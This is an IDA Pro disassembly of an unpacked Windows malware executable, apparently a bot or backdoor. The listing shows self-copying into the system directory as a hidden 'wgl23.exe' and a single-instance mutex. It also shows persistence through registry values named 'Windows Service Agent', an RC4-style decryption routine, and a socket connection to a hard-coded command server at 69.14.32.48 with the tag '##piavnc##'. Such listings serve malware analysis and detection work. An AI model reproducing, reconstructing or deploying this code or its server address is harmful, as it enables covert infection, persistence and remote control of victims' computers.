;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	CF5D1ADAC7A55F2ED439BFCAA37A49CE

; File Name   :	u:\work\cf5d1adac7a55f2ed439bfcaa37a49ce_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0003B853 ( 243795.)
; Section size in file		: 0003B853 ( 243795.)
; Offset to raw	data for section: 00001000
; Flags	60000020: Text Executable Readable
; Alignment	: default
; OS type	  :  MS	Windows
; Application type:  Executable	32bit


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_401000(char *Str)

sub_401000	proc near		; CODE XREF: WinMain(x,x,x,x)+358p
					; sub_41912E+1Ep

var_4		= dword	ptr -4
Str		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_440050
		xor	esi, esi
		mov	ebx, offset aWindowsService ; "Windows Service Agent"

loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4E41D4	; RegCreateKeyExA
		cmp	[ebp+Str], esi
		jz	short loc_40104D
		push	[ebp+Str]	; Str
		call	_strlen
		pop	ecx
		push	eax
		push	[ebp+Str]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4E4244	; RegSetValueExA
		jmp	short loc_401057
; ---------------------------------------------------------------------------

loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4E4184	; RegDeleteValueA

loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4E41FC	; RegCloseKey
		add	edi, 8
		cmp	edi, offset dword_440068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh

loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, ds:dword_43D01C[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx

loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_4010AB(char *Filename)

sub_4010AB	proc near		; CODE XREF: sub_416F9A+24Ap

var_10		= dword	ptr -10h
Filename	= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx		; Mode
		call	_malloc
		mov	[esp+10h+var_10], offset dword_440068
		push	[esp+10h+Filename] ; Filename
		mov	esi, eax
		call	_fopen
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA

loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx		; NewSize
		push	esi		; Memory
		call	_realloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi		; File
		push	1		; Count
		lea	eax, [esi+ebx-1]
		push	1		; ElementSize
		push	eax		; DstBuf
		call	sub_41EFA0
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------

loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------

loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi		; Memory
		mov	ebx, eax
		call	_free
		push	edi		; File
		call	_fclose
		add	esp, 10h
		mov	eax, ebx

loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 240h
		push	ebx
		push	esi
		lea	eax, [ebp-34h]
		push	edi
		xor	ebx, ebx
		push	eax
		xor	edi, edi
		mov	byte ptr [ebp-34h], 0Ah
		mov	byte ptr [ebp-33h], 0Eh
		mov	byte ptr [ebp-32h], 20h
		mov	byte ptr [ebp-31h], 48h
		mov	byte ptr [ebp-30h], 0Bh
		mov	byte ptr [ebp-2Fh], 2Bh
		mov	byte ptr [ebp-2Eh], 0Ch
		mov	byte ptr [ebp-2Dh], 23h
		mov	byte ptr [ebp-2Ch], 3Ah
		mov	byte ptr [ebp-2Bh], 27h
		mov	byte ptr [ebp-2Ah], 28h
		mov	byte ptr [ebp-29h], 5Eh
		mov	byte ptr [ebp-28h], 2Ah
		mov	byte ptr [ebp-27h], 1Eh
		mov	byte ptr [ebp-26h], 2Dh
		mov	byte ptr [ebp-25h], 5Ah
		mov	byte ptr [ebp-24h], 1Bh
		mov	byte ptr [ebp-23h], 0Fh
		mov	byte ptr [ebp-22h], 4Ch
		mov	byte ptr [ebp-21h], 44h
		mov	byte ptr [ebp-20h], 16h
		mov	byte ptr [ebp-1Fh], 4
		mov	byte ptr [ebp-1Eh], 57h
		mov	byte ptr [ebp-1Dh], 23h
		mov	byte ptr [ebp-1Ch], 11h
		mov	byte ptr [ebp-1Bh], 53h
		mov	byte ptr [ebp-1Ah], 38h
		mov	byte ptr [ebp-19h], 13h
		mov	byte ptr [ebp-18h], 0Dh
		mov	byte ptr [ebp-17h], 12h
		mov	byte ptr [ebp-16h], 25h
		mov	byte ptr [ebp-15h], 1Ch
		mov	byte ptr [ebp-14h], 30h
		mov	byte ptr [ebp-13h], 12h
		mov	byte ptr [ebp-12h], 50h
		mov	byte ptr [ebp-11h], 4Fh
		mov	byte ptr [ebp-10h], 39h
		mov	byte ptr [ebp-0Fh], 10h
		mov	byte ptr [ebp-0Eh], 42h
		mov	byte ptr [ebp-0Dh], 1Fh
		mov	byte ptr [ebp-0Ch], 37h
		mov	byte ptr [ebp-0Bh], 1Dh
		mov	byte ptr [ebp-0Ah], 41h
		mov	byte ptr [ebp-9], 55h
		mov	byte ptr [ebp-8], 2Ch
		mov	byte ptr [ebp-7], 41h
		mov	byte ptr [ebp-6], 2Ch
		mov	byte ptr [ebp-5], 58h
		mov	[ebp-4], bl
		call	_strlen
		mov	esi, 101h
		mov	[ebp-38h], eax
		push	esi
		lea	eax, [ebp-13Ch]
		push	ebx
		push	eax
		call	_memset
		push	esi
		lea	eax, [ebp-240h]
		push	ebx
		push	eax
		call	_memset
		add	esp, 1Ch
		xor	eax, eax
		mov	ecx, 100h

loc_401227:				; CODE XREF: .text:00401231j
		mov	[ebp+eax-13Ch],	al
		inc	eax
		cmp	eax, ecx
		jb	short loc_401227
		cmp	[ebp+14h], ebx
		jz	short loc_401256
		xor	eax, eax

loc_40123A:				; CODE XREF: .text:00401252j
		cmp	edi, [ebp+14h]
		jnz	short loc_401241
		xor	edi, edi

loc_401241:				; CODE XREF: .text:0040123Dj
		mov	edx, [ebp+10h]
		mov	dl, [edi+edx]
		inc	edi
		mov	[ebp+eax-240h],	dl
		inc	eax
		cmp	eax, ecx
		jb	short loc_40123A
		jmp	short loc_401270
; ---------------------------------------------------------------------------

loc_401256:				; CODE XREF: .text:00401236j
		xor	esi, esi

loc_401258:				; CODE XREF: .text:0040126Ej
		cmp	edi, [ebp-38h]
		jnz	short loc_40125F
		xor	edi, edi

loc_40125F:				; CODE XREF: .text:0040125Bj
		mov	al, [ebp+edi-34h]
		inc	edi
		mov	[ebp+esi-240h],	al
		inc	esi
		cmp	esi, ecx
		jb	short loc_401258

loc_401270:				; CODE XREF: .text:00401254j
		mov	[ebp+14h], ebx
		xor	edi, edi
		mov	eax, 0FFh

loc_40127A:				; CODE XREF: .text:004012B4j
		mov	dl, [ebp+edi-13Ch]
		mov	ebx, [ebp+14h]
		mov	cl, [ebp+edi-240h]
		lea	esi, [ebp+edi-13Ch]
		add	ebx, edx
		add	ecx, ebx
		and	ecx, eax
		inc	edi
		mov	[ebp+14h], ecx
		cmp	edi, 100h
		mov	bl, [ebp+ecx-13Ch]
		lea	ecx, [ebp+ecx-13Ch]
		mov	[esi], bl
		mov	[ecx], dl
		jb	short loc_40127A
		xor	edi, edi
		cmp	[ebp+0Ch], edi
		mov	[ebp+14h], edi
		mov	[ebp+10h], edi
		jbe	short loc_401312

loc_4012C3:				; CODE XREF: .text:00401310j
		inc	edi
		and	edi, eax
		mov	dl, [ebp+edi-13Ch]
		lea	ecx, [ebp+edi-13Ch]
		mov	bl, dl
		add	ebx, [ebp+14h]
		and	ebx, eax
		mov	esi, ebx
		mov	bl, [ebp+esi-13Ch]
		mov	[ebp+14h], esi
		mov	[ecx], bl
		lea	esi, [ebp+esi-13Ch]
		mov	ebx, [ebp+10h]
		mov	[esi], dl
		mov	cl, [ecx]
		mov	esi, [ebp+8]
		add	ecx, edx
		and	ecx, eax
		add	esi, ebx
		mov	cl, [ebp+ecx-13Ch]
		xor	[esi], cl
		inc	ebx
		cmp	ebx, [ebp+0Ch]
		mov	[ebp+10h], ebx
		jb	short loc_4012C3

loc_401312:				; CODE XREF: .text:004012C1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401317	proc near		; DATA XREF: WinMain(x,x,x,x)+14o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
Dst		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_457134
		call	dword_4E42B8	; closesocket
		call	sub_40B957
		call	dword_4E4178	; WSACleanup
		call	dword_4E4178	; WSACleanup
		mov	ebx, ds:dword_4F6380
		push	64h
		call	ebx	; Sleep
		xor	edi, edi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi		; Size
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset dword_4563A0
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	ds:dword_4F637C	; GetSystemDirectoryA
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	ds:dword_4F6378	; GetModuleFileNameA
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	ds:dword_4F6374	; CreateProcessA
		test	eax, eax
		jz	short loc_4013DC
		push	64h
		call	ebx	; Sleep
		push	[ebp+Dst]
		mov	esi, ds:dword_4F6370
		call	esi	; CloseHandle
		push	[ebp+var_C]
		call	esi	; CloseHandle

loc_4013DC:				; CODE XREF: sub_401317+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_456398
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	ds:dword_4F636C	; ExitProcess
		pop	edi
		pop	esi
		pop	ebx

loc_4013FF:				; DATA XREF: .data:00440004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_419589
		pop	ecx
		mov	dword_4E3F28, eax
		pop	ecx
		retn
sub_401317	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int	nShowCmd)

_WinMain@16	proc near		; CODE XREF: start+121p

var_988		= byte ptr -988h
var_884		= byte ptr -884h
var_883		= byte ptr -883h
Filename	= byte ptr -6F4h
Str		= byte ptr -5F4h
Ext		= byte ptr -4F0h
SubStr		= byte ptr -3F0h
FullPath	= byte ptr -2ECh
Dest		= byte ptr -1E8h
var_E4		= dword	ptr -0E4h
var_D8		= dword	ptr -0D8h
var_B8		= dword	ptr -0B8h
var_B4		= word ptr -0B4h
Source		= byte ptr -0A0h
Dst		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
hInstance	= dword	ptr  8
hPrevInstance	= dword	ptr  0Ch
lpCmdLine	= dword	ptr  10h
nShowCmd	= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], offset sub_401317
		push	[ebp+var_4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, ds:dword_4F63B0
		call	esi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4E3F2C, eax
		call	esi	; GetTickCount
		push	eax		; Seed
		call	_srand
		pop	ecx
		call	sub_409E0C
		push	2
		call	dword_4E42CC	; SetErrorMode
		push	7530h
		push	offset aK3y	; "k3y"
		push	ebx
		push	ebx
		call	ds:dword_4F63AC	; CreateMutexA
		push	eax
		call	ds:dword_4F63A8	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_40149B
		push	1
		call	ds:dword_4F636C	; ExitProcess

loc_40149B:				; CODE XREF: WinMain(x,x,x,x)+76j
		lea	eax, [ebp+var_884]
		push	eax
		push	202h
		call	dword_4E4190	; WSAStartup
		cmp	eax, ebx
		jnz	loc_4019DE
		cmp	[ebp+var_884], 2
		jnz	loc_4019D8
		xor	eax, eax
		mov	al, [ebp+var_883]
		cmp	al, 2
		jnz	loc_4019D8
		mov	esi, 104h
		lea	eax, [ebp+SubStr]
		push	esi
		push	eax
		call	ds:dword_4F637C	; GetSystemDirectoryA
		lea	eax, [ebp+FullPath]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_4F63A4	; GetModuleHandleA
		push	eax
		call	ds:dword_4F6378	; GetModuleFileNameA
		lea	eax, [ebp+Ext]
		push	eax		; Ext
		lea	eax, [ebp+Filename]
		push	eax		; Filename
		push	ebx		; Dir
		lea	eax, [ebp+FullPath]
		push	ebx		; Drive
		push	eax		; FullPath
		call	__splitpath
		add	esp, 14h
		lea	eax, [ebp+Ext]
		push	eax
		lea	eax, [ebp+Filename]
		push	eax
		push	offset aSS	; "%s%s"
		lea	eax, [ebp+Str]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		lea	eax, [ebp+FullPath]
		push	eax		; Str
		call	_strstr
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401710
		cmp	dword_4E4098, ebx
		mov	esi, offset Str	; "wgl23.exe"
		jz	short loc_401596
		push	esi		; Str
		xor	edi, edi
		call	_strlen
		sub	eax, 4
		pop	ecx
		jz	short loc_401596

loc_401573:				; CODE XREF: WinMain(x,x,x,x)+179j
		call	_rand
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi		; Str
		add	dl, 61h
		mov	byte ptr Str[edi], dl ;	"wgl23.exe"
		inc	edi
		call	_strlen
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401573

loc_401596:				; CODE XREF: WinMain(x,x,x,x)+148j
					; WinMain(x,x,x,x)+156j
		lea	eax, [ebp+SubStr]
		push	esi
		push	eax
		lea	eax, [ebp+Dest]
		push	offset Format	; "%s\\%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		lea	eax, [ebp+Dest]
		push	eax
		call	ds:dword_4F63A0	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4015D6
		lea	eax, [ebp+Dest]
		push	80h
		push	eax
		call	ds:dword_4F639C	; SetFileAttributesA

loc_4015D6:				; CODE XREF: WinMain(x,x,x,x)+1A7j
		mov	esi, ds:dword_4F6398
		lea	eax, [ebp+Dest]
		push	ebx
		push	eax
		lea	eax, [ebp+FullPath]
		xor	edi, edi
		push	eax

loc_4015ED:				; CODE XREF: WinMain(x,x,x,x)+209j
		call	esi	; CopyFileA
		test	eax, eax
		jnz	short loc_401626
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		cmp	edi, ebx
		jnz	short loc_401626
		cmp	eax, 20h
		jz	short loc_401607
		cmp	eax, 5
		jnz	short loc_401626

loc_401607:				; CODE XREF: WinMain(x,x,x,x)+1E5j
		push	1
		pop	edi
		push	3A98h
		call	ds:dword_4F6380	; Sleep
		lea	eax, [ebp+Dest]
		push	ebx
		push	eax
		lea	eax, [ebp+FullPath]
		push	eax
		jmp	short loc_4015ED
; ---------------------------------------------------------------------------

loc_401626:				; CODE XREF: WinMain(x,x,x,x)+1D6j
					; WinMain(x,x,x,x)+1E0j ...
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_418FE7
		pop	ecx
		lea	eax, [ebp+Dest]
		push	7
		push	eax
		call	ds:dword_4F639C	; SetFileAttributesA
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	44h
		lea	eax, [ebp+var_E4]
		pop	esi
		push	esi		; Size
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 18h
		mov	[ebp+var_E4], esi
		mov	[ebp+var_D8], offset dword_4E40BC
		mov	[ebp+var_B4], bx
		push	1
		pop	esi
		mov	[ebp+var_B8], esi
		call	ds:dword_4F6390	; GetCurrentProcessId
		push	eax
		push	esi
		push	100000h
		call	ds:dword_4F638C	; OpenProcess
		lea	ecx, [ebp+FullPath]
		push	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+var_988]
		push	offset aSDS	; "%s %d \"%s\""
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		lea	eax, [ebp+SubStr]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp+var_988]
		push	ebx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		call	ds:dword_4F6374	; CreateProcessA
		test	eax, eax
		jz	short loc_401710
		push	0C8h
		call	ds:dword_4F6380	; Sleep
		push	[ebp+Dst]
		mov	esi, ds:dword_4F6370
		call	esi	; CloseHandle
		push	[ebp+var_1C]
		call	esi	; CloseHandle
		call	dword_4E4178	; WSACleanup
		push	ebx
		call	ds:dword_4F636C	; ExitProcess

loc_401710:				; CODE XREF: WinMain(x,x,x,x)+137j
					; WinMain(x,x,x,x)+2CBj
		cmp	dword_4F4788, 2
		jle	short loc_40175C
		mov	eax, dword_4F478C
		push	dword ptr [eax+4] ; Str
		call	_atoi
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	ds:dword_4F63A8	; WaitForSingleObject
		push	esi
		call	ds:dword_4F6370	; CloseHandle
		mov	eax, dword_4F478C
		cmp	[eax+8], ebx
		jz	short loc_40175C
		push	7D0h
		call	ds:dword_4F6380	; Sleep
		mov	eax, dword_4F478C
		push	dword ptr [eax+8]
		call	ds:dword_4F6388	; DeleteFileA

loc_40175C:				; CODE XREF: WinMain(x,x,x,x)+2FCj
					; WinMain(x,x,x,x)+326j
		cmp	dword_44008C, ebx
		jz	short loc_401779
		cmp	dword_4E42F0, ebx
		jnz	short loc_401779
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	sub_401000
		pop	ecx

loc_401779:				; CODE XREF: WinMain(x,x,x,x)+347j
					; WinMain(x,x,x,x)+34Fj
		lea	eax, [ebp+Source]
		push	offset asc_440A60 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	ebx		; int
		push	eax		; Source
		call	sub_40B78E
		lea	eax, [ebp+Source]
		push	eax
		call	sub_415C77
		push	0B80h		; Size
		push	ebx		; Val
		push	offset dword_4563A8 ; Dst
		call	_memset
		add	esp, 24h
		lea	eax, [ebp+Source]
		push	offset asc_440A7C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	1		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 14h
		mov	esi, eax
		mov	edi, ds:dword_4F6384
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	ebx
		push	offset sub_41A919
		push	ebx
		push	ebx
		call	edi	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_45713C[esi], eax
		jnz	short loc_40181C
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_440AA0 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch

loc_40181C:				; CODE XREF: WinMain(x,x,x,x)+3E4j
		lea	eax, [ebp+Source]
		push	eax
		call	sub_415C77
		push	2
		call	sub_40B9D6
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4018A1
		lea	eax, [ebp+Source]
		push	offset asc_440AE0 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	2		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410CB5
		push	ebx
		push	ebx
		call	edi	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_45713C[esi], eax
		jnz	short loc_401894
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_440B0C ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch

loc_401894:				; CODE XREF: WinMain(x,x,x,x)+45Cj
		lea	eax, [ebp+Source]
		push	eax
		call	sub_415C77
		pop	ecx

loc_4018A1:				; CODE XREF: WinMain(x,x,x,x)+418j
		call	_rand
		push	7Fh		; Count
		and	eax, 3
		push	offset Source	; "69.14.32.48"
		push	offset Dest	; Dest
		mov	dword_4E40B4, eax
		call	_strncpy
		mov	eax, dword_44006C
		push	3Fh		; Count
		mov	edi, offset byte_4E3FB4
		push	offset aPiavnc	; "##piavnc##"
		push	edi		; Dest
		mov	dword_4E4084, eax
		call	_strncpy
		push	3Fh		; Count
		mov	esi, offset byte_4E3FF4
		push	offset byte_4E40A0 ; Source
		push	esi		; Dest
		call	_strncpy
		add	esp, 24h
		mov	dword_4E4088, ebx

loc_4018F6:				; CODE XREF: WinMain(x,x,x,x)+563j
					; WinMain(x,x,x,x)+56Ej ...
		mov	[ebp+var_4], ebx

loc_4018F9:				; CODE XREF: WinMain(x,x,x,x)+517j
		push	offset dword_4E3F30
		mov	dword_4E40B0, ebx
		call	sub_4019E7
		cmp	eax, 2
		mov	[ebp+var_10], eax
		jz	loc_4019D3
		cmp	dword_4E40B0, ebx
		jz	short loc_401920
		dec	[ebp+var_4]

loc_401920:				; CODE XREF: WinMain(x,x,x,x)+500j
		push	0BB8h
		call	ds:dword_4F6380	; Sleep
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 6
		jl	short loc_4018F9
		cmp	[ebp+var_10], 2
		jz	loc_4019D3
		cmp	[ebp+var_C], ebx
		jz	short loc_401983
		push	7Fh		; Count
		push	offset Source	; "69.14.32.48"
		push	offset Dest	; Dest
		call	_strncpy
		mov	eax, dword_44006C
		push	3Fh		; Count
		push	offset aPiavnc	; "##piavnc##"
		push	edi		; Dest
		mov	dword_4E4084, eax
		call	_strncpy
		push	3Fh		; Count
		push	offset byte_4E40A0 ; Source
		push	esi		; Dest
		call	_strncpy
		add	esp, 24h
		mov	[ebp+var_C], ebx
		jmp	loc_4018F6
; ---------------------------------------------------------------------------

loc_401983:				; CODE XREF: WinMain(x,x,x,x)+526j
		cmp	byte_4E40A4, bl
		jz	loc_4018F6
		push	7Fh		; Count
		push	offset byte_4E40A4 ; Source
		push	offset Dest	; Dest
		call	_strncpy
		mov	eax, dword_440070
		push	3Fh		; Count
		push	offset byte_4E40A8 ; Source
		push	edi		; Dest
		mov	dword_4E4084, eax
		call	_strncpy
		push	3Fh		; Count
		push	offset byte_4E40AC ; Source
		push	esi		; Dest
		call	_strncpy
		add	esp, 24h
		mov	[ebp+var_C], 1
		jmp	loc_4018F6
; ---------------------------------------------------------------------------

loc_4019D3:				; CODE XREF: WinMain(x,x,x,x)+4F4j
					; WinMain(x,x,x,x)+51Dj
		call	sub_40B957

loc_4019D8:				; CODE XREF: WinMain(x,x,x,x)+A1j
					; WinMain(x,x,x,x)+B1j
		call	dword_4E4178	; WSACleanup

loc_4019DE:				; CODE XREF: WinMain(x,x,x,x)+94j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
_WinMain@16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4019E7	proc near		; CODE XREF: WinMain(x,x,x,x)+4E9p
					; DATA XREF: sub_401CC7+677Co

var_190		= dword	ptr -190h
Args		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
Dest		= byte ptr -2Ch
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1

loc_401A0C:				; CODE XREF: sub_4019E7+E6j
					; sub_4019E7+136j ...
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+var_3C]
		call	dword_4E4220	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+Args]
		push	eax
		call	sub_40AE8D
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_401B39
		push	1Ch		; Size
		lea	eax, [ebp+Dest]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		push	0		; Str1
		lea	eax, [ebp+Dest]
		push	dword_44009C	; int
		push	dword_440098	; int
		push	eax		; Dest
		call	sub_40B487
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh		; Count
		add	eax, offset byte_457140
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4E42A0	; socket
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_457134[eax], esi
		lea	eax, [ebp+Dst]
		push	eax
		push	esi
		call	dword_4E41C8	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401AD2
		push	esi
		call	dword_4E42B8	; closesocket
		call	sub_40AEB6
		push	7D0h

loc_401AC7:				; CODE XREF: sub_4019E7+146j
		call	ds:dword_4F6380	; Sleep
		jmp	loc_401A0C
; ---------------------------------------------------------------------------

loc_401AD2:				; CODE XREF: sub_4019E7+CDj
		lea	eax, [ebp+Args]
		push	eax		; Args
		push	offset asc_440B40 ; "-"
		call	sub_415CEB
		push	[ebp+var_38]
		lea	eax, [ebp+Args]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401B4F
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4E42B8	; closesocket
		test	edi, edi
		jz	loc_401A0C
		cmp	edi, 1
		jnz	short loc_401B2F
		push	0DBBA0h
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------

loc_401B2F:				; CODE XREF: sub_4019E7+13Fj
		cmp	edi, 2
		jz	short loc_401B3D
		jmp	loc_401A0C
; ---------------------------------------------------------------------------

